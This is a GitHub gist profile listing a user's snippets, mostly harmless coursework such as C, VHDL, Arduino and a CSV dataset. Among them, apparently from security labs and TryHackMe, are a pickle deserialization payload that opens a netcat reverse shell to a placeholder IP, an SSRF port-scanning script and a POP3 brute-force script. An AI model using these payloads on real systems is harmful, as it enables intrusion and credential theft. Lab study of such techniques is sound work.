Skip to content

Instantly share code, notes, and snippets.

View vreabernardo's full-sized avatar
🔧
omniwrench

Bernardo Martins vreabernardo

🔧
omniwrench
  • Augusta Labs
  • ::1
  • 21:28 (UTC +01:00)
View GitHub Profile
@vreabernardo
vreabernardo / power.c
Created April 18, 2024 18:34
This code snippet is a solution to the exercises presented in Chapter 16.8 (1) of 'Dive into Systems'.
#include <stdio.h>
long long power(int base, int exp);
int main() {
int a, b;
printf("Enter base and exponent: ");
scanf("%d%d", &a, &b);
printf("%d^%d = %lld\n", a, b, power(a, b));
return 0;
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
entity FullAdder is
Port (
A : in STD_LOGIC;
B : in STD_LOGIC;
Cin : in STD_LOGIC;
@vreabernardo
vreabernardo / carteiro-paulo.py
Created May 23, 2021 18:59
enviar emails - python3 script
#sender - ativar api https://myaccount.google.com/lesssecureapps?pli=1&rapt=AEjHL4MJVUGvA7BmPltTOUMTAyB4bQ08W9thCe4m_RFMhQlIjl25wrVZfsNckmioksGb0g8v9RJcI0nYxZkuKsg-AipHlXp1hw
import smtplib
emails = ["email1","email2"] #lista de emails (se for preciso nomes diferentes dir ex {"email1":"nome1","email2":"nome2"} e alterar o loop para user as keys)
SUBJECT = 'subj'
TEXT = 'body'
# Gmail Sign In
gmail_sender = input("Email: ")
gmail_passwd = input("Password: ")
@vreabernardo
vreabernardo / rce.py
Created July 22, 2020 16:00
OWASP Top 10 -- Insecure Deserialization - Remote Code Execution
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat <IP> 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
@vreabernardo
vreabernardo / SSFR_challengeTHM.py
Created July 3, 2020 16:24
Server-side request forgery challenge on TryHackMe
import requests
import urllib.parse
from multiprocessing import Process
nportas = 0
for port in range(0,65536):
query = "http://2130706433:{}".format(port)
@vreabernardo
vreabernardo / timemes.ino
Created June 29, 2020 18:55
medir tempo - Arduino
byte button =2;
unsigned long startTime;
unsigned long endTime;
unsigned long duration;
byte timerRunning;
void setup(){
pinMode (button, INPUT_PULLUP);
Serial.begin(9600);
}
void loop(){
import requests
import json
flag = []
url = "http://10.10.169.100:3000/"
path = ""
while True:
r = requests.get(url+path)
data = r.json()
print(data)
gender race/ethnicity parental level of education lunch test preparation course math score reading score writing score
female group B bachelor's degree standard none 72 72 74
female group C some college standard completed 69 90 88
female group B master's degree standard none 90 95 93
male group A associate's degree free/reduced none 47 57 44
male group C some college standard none 76 78 75
female group B associate's degree standard none 71 83 78
female group B some college standard completed 88 95 92
male group B some college free/reduced none 40 43 39
male group D high school free/reduced completed 64 64 67
@vreabernardo
vreabernardo / btpop3.sh
Created May 22, 2020 10:55
POP3 bruteforce
cat $1 | while read line
do
user=$(echo $line | cut -d ';' -f 1)
pass=$(echo $line | cut -d ';' -f 2)
{ echo "USER $user"; sleep 1; echo "PASS $pass"; sleep 1; } | telnet "$2" 110 # POP3 Port
done
### Keybase proof
I hereby claim:
* I am vreawillsaveyou on github.
* I am vrea (https://keybase.io/vrea) on keybase.
* I have a public key ASDxqKB2yyWsQR_xxGodsNQ4LJhLnmBIyy9J-L6pv7FhmQo
To claim this, I am signing this object: